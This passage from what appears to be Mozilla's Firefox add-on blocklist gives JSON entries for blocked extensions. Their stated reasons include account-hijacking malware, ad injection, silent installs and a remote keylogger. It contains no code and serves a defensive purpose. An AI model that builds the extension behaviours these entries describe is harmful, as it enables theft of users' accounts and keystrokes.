Toolbar”,”created”:”2009-02-13T18:39:01Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”1.0.0.5″,”minVersion”:”0″,”targetApplication”:[]}],”id”:”8cabafd3-576a-b487-31c8-ab59e0349a0e”,”last_modified”:1482945809045},{“guid”:”{a3a5c777-f583-4fef-9380-ab4add1bc2a8}”,”prefs”:[],”schema”:1482945112982,”blockID”:”i53″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=719605″,”who”:”All users of Firefox with this add-on installed.”,”why”:”This add-on is being offered as an online movie viewer, when it reality it only inserts scripts and ads into known sites.”,”name”:”Peliculas-FLV (malware)”,”created”:”2012-01-19T15:58:10Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”2.0.3″,”minVersion”:”2.0.3″,”targetApplication”:[]}],”id”:”07bc0962-60da-087b-c3ab-f2a6ab84d81c”,”last_modified”:1482945809021},{“guid”:”royal@facebook.com”,”prefs”:[],”schema”:1482945112982,”blockID”:”i64″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=725777″,”who”:”All Firefox users who have installed this add-on.”,”why”:”Malicious add-on posing as a Facebook tool.”,”name”:”Facebook ! (malware)”,”created”:”2012-02-09T13:24:23Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”dd1d2623-0d15-c93e-8fbd-ba07b0299a44″,”last_modified”:1482945808997},{“guid”:”{28bfb930-7620-11e1-b0c4-0800200c9a66}”,”prefs”:[],”schema”:1482945112982,”blockID”:”i108″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=766852″,”who”:”All Firefox user who have this add-on installed.”,”why”:”This is malware disguised as an Adobe product. It spams Facebook pages.”,”name”:”Aplicativo (malware)”,”created”:”2012-06-21T09:24:11Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”908dc4fb-ebc9-cea1-438f-55e4507ba834″,”last_modified”:1482945808973},{“guid”:”socialnetworktools@mozilla.doslash.org”,”prefs”:[],”schema”:1482945112982,”blockID”:”i78″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=739441″,”who”:”All Firefox users who have installed this add-on.”,”why”:”This add-on hijacks the Facebook UI and adds scripts to track users.”,”name”:”Social Network Tools (malware)”,”created”:”2012-03-26T16:46:55Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”1064cd25-3b87-64bb-b0a6-2518ad281574″,”last_modified”:1482945808950},{“guid”:”youtubeeing@youtuberie.com”,”prefs”:[],”schema”:1482945112982,”blockID”:”i98″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=759663″,”who”:”All Firefox users who have installed this add-on.”,”why”:”This add-on is malware disguised as a Youtube add-on.”,”name”:”Youtube Video Player (malware)”,”created”:”2012-05-30T09:30:14Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”3484f860-56e1-28e8-5a70-cdcd5ab9d6ee”,”last_modified”:1482945808927},{“guid”:”{3a12052a-66ef-49db-8c39-e5b0bd5c83fa}”,”prefs”:[],”schema”:1482945112982,”blockID”:”i101″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=761874″,”who”:”All Firefox users who have installed this add-on.”,”why”:”This add-on is malware disguised as a Facebook timeline remover.”,”name”:”Timeline Remove (malware)”,”created”:”2012-06-05T18:37:42Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”b01b321b-6628-7166-bd15-52f21a04d8bd”,”last_modified”:1482945808904},{“guid”:”pfzPXmnzQRXX6@2iABkVe.com”,”prefs”:[],”schema”:1482945112982,”blockID”:”i99″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=759950″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is malware disguised as a Flash Player update.”,”name”:”Flash Player (malware)”,”created”:”2012-05-30T17:10:18Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”29cc4abc-4f52-01f1-eb0b-cad84ba4db13″,”last_modified”:1482945808881},{“guid”:”/^(@pluginscribens_firefox|extension@vidscrab.com|firefox@jjj.ee|firefox@shop-reward.de|FxExtPasteNGoHtk@github.lostdj|himanshudotrai@gmail.com|jid0-bigoD0uivzAMmt07zrf3OHqa418@jetpack|jid0-iXbAR01tjT2BsbApyS6XWnjDhy8@jetpack)$/”,”prefs”:[],”schema”:1482341309012,”blockID”:”i1423″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1325060″,”who”:”All users who have any of the affected versions installed.”,”why”:”A security vulnerability was discovered in old versions of the Add-ons SDK, which is exposed by certain old versions of add-ons. In the case of some add-ons that haven’t been updated for a long time, all versions are being blocked.”,”name”:”Various vulnerable add-on versions”,”created”:”2016-12-21T17:21:10Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”a58a2836-e4e7-74b5-c109-fa3d41e9ed56″,”last_modified”:1482343886390},{“guid”:”/^(pdftoword@addingapps.com|jid0-EYTXLS0GyfQME5irGbnD4HksnbQ@jetpack|jid1-ZjJ7t75BAcbGCX@jetpack)$/”,”prefs”:[],”schema”:1482341309012,”blockID”:”i1425″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1325060″,”who”:”All users who have any of the affected versions installed.”,”why”:”A security vulnerability was discovered in old versions of the Add-ons SDK, which is exposed by certain old versions of add-ons. In the case of some add-ons that haven’t been updated for a long time, all versions are being blocked.”,”name”:”Various vulnerable add-on versions”,”created”:”2016-12-21T17:23:14Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”150e639f-c832-63d0-a775-59313b2e1bf9″,”last_modified”:1482343886365},{“guid”:”{cc8f597b-0765-404e-a575-82aefbd81daf}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i380″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=866332″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious add-on that hijacks Facebook accounts and performs unwanted actions on behalf of the user.”,”name”:”Update My Browser (malware)”,”created”:”2013-06-19T13:03:00Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”4950d7aa-c602-15f5-a7a2-d844182d5cbd”,”last_modified”:1480349217152},{“guid”:”extension@FastFreeConverter.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i470″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=935779″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is part of a malicious Firefox installer bundle.”,”name”:”Installer bundle (malware)”,”created”:”2013-11-07T15:38:26Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”649dd933-debf-69b7-020f-496c2c9f99c8″,”last_modified”:1480349217071},{“guid”:”59D317DB041748fdB89B47E6F96058F3@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i694″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1053540″,”who”:”All Firefox users who have this add-ons installed. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”why”:”This is a suspicious add-on that appears to be installed without user consent, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”JsInjectExtension”,”created”:”2014-08-21T13:46:30Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”75692bd4-18e5-a9be-7ec3-9327e159ef68″,”last_modified”:1480349217005},{“guid”:”/^({bfec236d-e122-4102-864f-f5f19d897f5e}|{3f842035-47f4-4f10-846b-6199b07f09b8}|{92ed4bbd-83f2-4c70-bb4e-f8d3716143fe})$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i527″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=949566″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by making changes that can’t be easily reverted and uses multiple IDs.”,”name”:”KeyBar add-on”,”created”:”2013-12-20T14:13:38Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”6d68dd97-7965-0a84-8ca7-435aac3c8040″,”last_modified”:1480349216927},{“guid”:”support@vide1flash2.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i246″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=830159″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is an add-on that poses as the Adobe Flash Player and runs malicious code in the user’s system.”,”name”:”Lastest Adobe Flash Player (malware)”,”created”:”2013-01-14T09:17:47Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”2004fba1-74bf-a072-2a59-6e0ba827b541″,”last_modified”:1480349216871},{“guid”:”extension21804@extension21804.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i312″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=835665″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on doesn’t follow our <a href=\”https://developer.mozilla.org/en-US/docs/Addons/Add-on_guidelines\”>Add-on Guidelines</a>, bypassing our third party install opt-in screen. Users who wish to continue using this extension can enable it in the Add-ons Manager.”,”name”:”Coupon Companion”,”created”:”2013-03-06T14:14:05Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”b2cf1256-dadd-6501-1f4e-25902d408692″,”last_modified”:1480349216827},{“guid”:”toolbar@ask.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i602″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1024719″,”who”:”All Firefox users who have these versions of the Ask Toolbar installed. Users who wish to continue using it can enable it in the Add-ons Manager.\r\n”,”why”:”Certain old versions of the Ask Toolbar are causing problems to users when trying to open new tabs. Using more recent versions of the Ask Toolbar should also fix this problem.\r\n”,”name”:”Ask Toolbar (old Avira Security Toolbar bundle)”,”created”:”2014-06-12T14:18:05Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”3.15.8.*”,”minVersion”:”3.15.8″,”targetApplication”:[]}],”id”:”b2b4236d-5d4d-82b2-99cd-00ff688badf1″,”last_modified”:1480349216765},{“guid”:”nosquint@urandom.ca”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1232″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1279561″,”who”:”Users on Firefox 47, and higher, using version 2.1.9.1, and earlier, of this add-on. If you wish to continue using it, you can enable it in the Add-ons Manager.”,”why”:”The add-on is breaking the in-built zoom functionality on Firefox 47.”,”name”:”NoSquint”,”created”:”2016-06-10T17:12:55Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”2.1.9.1-signed.1-signed”,”minVersion”:”0″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”47″}]}],”id”:”30e0a35c-056a-054b-04f3-ade68b83985a”,”last_modified”:1480349216711},{“guid”:”{FE1DEEEA-DB6D-44b8-83F0-34FC0F9D1052}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i364″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=867670″,”who”:”All Firefox users who have this add-on installed. Users who want to enable the add-on again can do so in the Add-ons Manager.”,”why”:”This add-on is side-installed with other software, and blocks setting reversions attempted by users who want to recover their settings after they are hijacked by other add-ons.”,”name”:”IB Updater”,”created”:”2013-06-10T16:14:41Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”a59b967c-66ca-7ad9-2dc6-d0ad37ded5fd”,”last_modified”:1480349216652},{“guid”:”vpyekkifgv@vpyekkifgv.org”,”prefs”:[],”schema”:1480349193877,”blockID”:”i352″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=872211″,”who”:”All Firefox users who have this add-on installed.”,”why”:”Uses a deceptive name and injects ads into pages without user consent.”,”name”:”SQLlite Addon (malware)”,”created”:”2013-05-14T13:42:04Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”8fd981ab-7ee0-e367-d804-0efe29d63178″,”last_modified”:1480349216614},{“guid”:”/^firefox@(albrechto|swiftbrowse|springsmart|storimbo|squirrelweb|betterbrowse|lizardlink|rolimno|browsebeyond|clingclang|weblayers|kasimos|higher-aurum|xaven|bomlabio)\\.(com?|net|org|info|biz)$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i549″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=937405″,”who”:”All Firefox users who have one or more of these add-ons installed. If you wish to continue using any of these add-ons, they can be enabled in the Add-ons Manager.”,”why”:”A large amount of add-ons developed by Yontoo are known to be silently installed and otherwise violate the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Yontoo add-ons”,”created”:”2014-01-30T15:08:04Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”3a124164-b177-805b-06f7-70a358b37e08″,”last_modified”:1480349216570},{“guid”:”thefoxonlybetter@quicksaver”,”prefs”:[],”schema”:1480349193877,”blockID”:”i702″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1053469″,”who”:”All Firefox users who have any of these versions of the add-on installed.”,”why”:”Certain versions of The Fox, Only Better weren’t developed by the original developer, and are likely malicious in nature. This violates the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> for reusing an already existent ID.”,”name”:”The Fox, Only Better (malicious versions)”,”created”:”2014-08-27T10:05:31Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”1.10″,”targetApplication”:[]}],”id”:”60e54f6a-1b10-f889-837f-60a76a98fccc”,”last_modified”:1480349216512},{“guid”:”/@(ft|putlocker|clickmovie|m2k|sharerepo|smarter-?)downloader\\.com$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i396″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=881454″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This group of add-ons is silently installed, bypassing our install opt-in screen. This violates our <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”PutLockerDownloader and related”,”created”:”2013-06-25T12:48:57Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”e98ba6e3-f2dd-fdee-b106-3e0d2a03cda4″,”last_modified”:1480349216487},{“guid”:”my7thfakeid@gmail.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1262″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1295616″,”who”:”Anyone who has this add-on installed.”,”why”:”This add-on is a keylogger that sends the data to a remote server, and goes under the name Real_player.addon.”,”name”:”Remote Keylogger test 0 addon”,”created”:”2016-08-17T10:54:59Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”81b380c0-8092-ea5e-11cd-54c7f563ff5a”,”last_modified”:1480349216460},{“guid”:”{f0e59437-6148-4a98-b0a6-60d557ef57f4}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i304″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=845975″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on doesn’t follow our <a href=\”https://developer.mozilla.org/en-US/docs/Addons/Add-on_guidelines\”>installation guidelines</a> and is dropped silently into user’s profiles.”,”name”:”WhiteSmoke B”,”created”:”2013-02-27T13:10:18Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”0469e643-1a90-f9be-4aad-b347469adcbe”,”last_modified”:1480349216402},{“os”:”Darwin,Linux”,”guid”:”firebug@software.joehewitt.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i75″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=718831″,”who”:”All Firefox 9 users on Mac OS X or Linux who have Firebug 1.9.0 installed.”,”why”:”Firebug 1.9.0 creates stability problems on Firefox 9, on Mac OS X and Linux. Upgrading to Firefox 10 or later, or upgrading to Firebug 1.9.1 or later fixes this problem.”,”name”:”Firebug”,”created”:”2012-03-21T16:00:01Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”1.9.0″,”minVersion”:”1.9.0″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”9.*”,”minVersion”:”9.0a1″}]}],”id”:”a1f9f055-ef34-1412-c39f-35605a70d031″,”last_modified”:1480349216375},{“guid”:”xz123@ya456.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i486″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=939254″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on appears to be malware and is installed silently in violation of the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”BetterSurf (malware)”,”created”:”2013-11-15T13:34:53Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”b9825a25-a96c-407e-e656-46a7948e5745″,”last_modified”:1480349215808},{“guid”:”{C7AE725D-FA5C-4027-BB4C-787EF9F8248A}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i424″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=860641″,”who”:”Users of Firefox 23 or later who have RelevantKnowledge 1.0.0.2 or lower.”,”why”:”Old versions of this add-on are causing startup crashes in Firefox 23, currently on the Beta channel. RelevantKnowledge users on Firefox 23 and above should update to version 1.0.0.3 of the add-on.”,”name”:”RelevantKnowledge 1.0.0.2 and lower”,”created”:”2013-07-01T10:45:20Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”1.0.0.2″,”minVersion”:”0″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”23.0a1″}]}],”id”:”c888d167-7970-4b3f-240f-2d8e6f14ded4″,”last_modified”:1480349215779},{“guid”:”{5C655500-E712-41e7-9349-CE462F844B19}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i966″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1175425″,”who”:”All users who have this add-on installed.”,”why”:”This add-on is vulnerable to a cross-site scripting attack, putting users at risk when using it in arbitrary websites.”,”name”:”Quick Translator”,”created”:”2015-07-17T13:42:28Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”1.0.1-signed”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”f34b00a6-c783-7851-a441-0d80fb1d1031″,”last_modified”:1480349215743},{“guid”:”superlrcs@svenyor.net”,”prefs”:[],”schema”:1480349193877,”blockID”:”i545″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=949596″,”who”:”All Firefox users who have this add-on installed. If you wish to continue using this add-on, you can enable it in the Add-ons Manager.”,”why”:”This add-on is in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>, using multiple add-on IDs and potentially doing other unwanted activities.”,”name”:”SuperLyrics”,”created”:”2014-01-30T11:52:42Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”002cd4fa-4c2b-e28b-9220-4a520f4d9ec6″,”last_modified”:1480349215672},{“guid”:”mbrsepone@facebook.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i479″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=937331″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is malware that hijacks Facebook accounts.”,”name”:”Mozilla Lightweight Pack (malware)”,”created”:”2013-11-11T15:42:30Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”0549645e-5f50-5089-1f24-6e7d3bfab8e0″,”last_modified”:1480349215645},{“guid”:”/^brasilescape.*\\@facebook\\.com$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i453″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=918566″,”who”:”All Firefox users who have these add-ons installed.”,”why”:”This is a group of malicious add-ons that use deceitful names like \”Facebook Video Pack\” or \”Mozilla Service Pack\” and hijack Facebook accounts.”,”name”:”Brasil Escape (malware)”,”created”:”2013-09-20T09:54:04Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”8e6b1176-1794-2117-414e-f0821443f27b”,”last_modified”:1480349215591},{“guid”:”foxyproxy-basic@eric.h.jung”,”prefs”:[],”schema”:1480349193877,”blockID”:”i952″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1183890″,”who”:”All users who have this add-on installed on Thunderbird 38 and above.”,”why”:”This add-on is causing consistent startup crashes on Thunderbird 38 and above.”,”name”:”FoxyProxy Basic for Thunderbird”,”created”:”2015-07-15T09:35:50Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”3.5.5″,”minVersion”:”0″,”targetApplication”:[{“guid”:”{3550f703-e582-4d05-9a08-453d09bdfdc6}”,”maxVersion”:”*”,”minVersion”:”38.0a2″},{“guid”:”{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}”,”maxVersion”:”*”,”minVersion”:”2.35″}]}],”id”:”81658491-feda-2ed3-3c6c-8e60c2b73aee”,”last_modified”:1480349215536},{“guid”:”mbroctone@facebook.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i476″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=936590″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is malware that hijacks the users’ Facebook account.”,”name”:”Mozilla Storage Service (malware)”,”created”:”2013-11-08T15:32:13Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”92198396-8756-8d09-7f18-a68d29894f71″,”last_modified”:1480349215504},{“guid”:”toolbar@ask.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i616″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1024719″,”who”:”All Firefox users who have these versions of the Ask Toolbar installed. Users who wish to continue using it can enable it in the Add-ons Manager.\r\n”,”why”:”Certain old versions of the Ask Toolbar are causing problems to users when trying to open new tabs. Using more recent versions of the Ask Toolbar should also fix this problem.\r\n”,”name”:”Ask Toolbar (old Avira Security Toolbar bundle)”,”created”:”2014-06-12T14:24:20Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”3.15.28.*”,”minVersion”:”3.15.28″,”targetApplication”:[]}],”id”:”f11b485f-320e-233c-958b-a63377024fad”,”last_modified”:1480349215479},{“guid”:”/^({e9df9360-97f8-4690-afe6-996c80790da4}|{687578b9-7132-4a7a-80e4-30ee31099e03}|{46a3135d-3683-48cf-b94c-82655cbc0e8a}|{49c795c2-604a-4d18-aeb1-b3eba27e5ea2}|{7473b6bd-4691-4744-a82b-7854eb3d70b6}|{96f454ea-9d38-474f-b504-56193e00c1a5})$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i494″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=776404″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on changes search settings without user interaction, and fails to reset them after it is removed. It also uses multiple add-on IDs for no apparent reason. This violates our <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”uTorrent and related”,”created”:”2013-12-02T14:52:32Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”485210d0-8e69-3436-536f-5d1deeea4167″,”last_modified”:1480349215454},{“guid”:”{EB7508CA-C7B2-46E0-8C04-3E94A035BD49}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i162″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=799266″,”who”:”All Firefox users who have installed any of these add-ons.”,”why”:”This block covers a number of malicious add-ons that deceive users, using names like \”Mozilla Safe Browsing\” and \”Translate This!\”, and claiming they are developed by \”Mozilla Corp.\”. They hijack searches and redirects users to pages they didn’t intend to go to.\r\n\r\nNote: this block won’t be active until bug 799266 is fixed.”,”name”:”Mozilla Safe Browsing and others (Medfos malware)”,”created”:”2012-10-11T12:25:36Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”07566aa3-4ff9-ac4f-9de9-71c77454b4da”,”last_modified”:1480349215428},{“guid”:”toolbar@ask.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i614″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1024719″,”who”:”All Firefox users who have these versions of the Ask Toolbar installed. Users who wish to continue using it can enable it in the Add-ons Manager.\r\n”,”why”:”Certain old versions of the Ask Toolbar are causing problems to users when trying to open new tabs. Using more recent versions of the Ask Toolbar should also fix this problem.\r\n”,”name”:”Ask Toolbar (old Avira Security Toolbar bundle)”,”created”:”2014-06-12T14:23:39Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”3.15.26.*”,”minVersion”:”3.15.26″,”targetApplication”:[]}],”id”:”ede541f3-1748-7b33-9bd6-80e2f948e14f”,”last_modified”:1480349215399},{“guid”:”/^({976cd962-e0ca-4337-aea7-d93fae63a79c}|{525ba996-1ce4-4677-91c5-9fc4ead2d245}|{91659dab-9117-42d1-a09f-13ec28037717}|{c1211069-1163-4ba8-b8b3-32fc724766be})$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i522″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=947485″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by being silently installed and using multiple add-on IDs.”,”name”:”appbario7″,”created”:”2013-12-20T13:15:33Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”580aed26-dc3b-eef8-fa66-a0a402447b7b”,”last_modified”:1480349215360},{“guid”:”jid0-O6MIff3eO5dIGf5Tcv8RsJDKxrs@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i552″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=974041″,”who”:”All Firefox users who have this extension installed.”,”why”:”This extension is malware that attempts to make it impossible for a second extension and itself to be disabled, and also forces the new tab page to have a specific URL.”,”name”:”Extension_Protected (malware)”,”created”:”2014-02-19T15:26:37Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”e53063b4-5702-5b66-c860-d368cba4ccb6″,”last_modified”:1480349215327},{“guid”:”toolbar@ask.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i604″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1024719″,”who”:”All Firefox users who have these versions of the Ask Toolbar installed. Users who wish to continue using it can enable it in the Add-ons Manager.\r\n”,”why”:”Certain old versions of the Ask Toolbar are causing problems to users when trying to open new tabs. Using more recent versions of the Ask Toolbar should also fix this problem.\r\n”,”name”:”Ask Toolbar (old Avira Security Toolbar bundle)”,”created”:”2014-06-12T14:18:58Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”3.15.11.*”,”minVersion”:”3.15.10″,”targetApplication”:[]}],”id”:”b910f779-f36e-70e1-b17a-8afb75988c03″,”last_modified”:1480349215302},{“guid”:”brasilescapefive@facebook.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i483″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=938473″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is 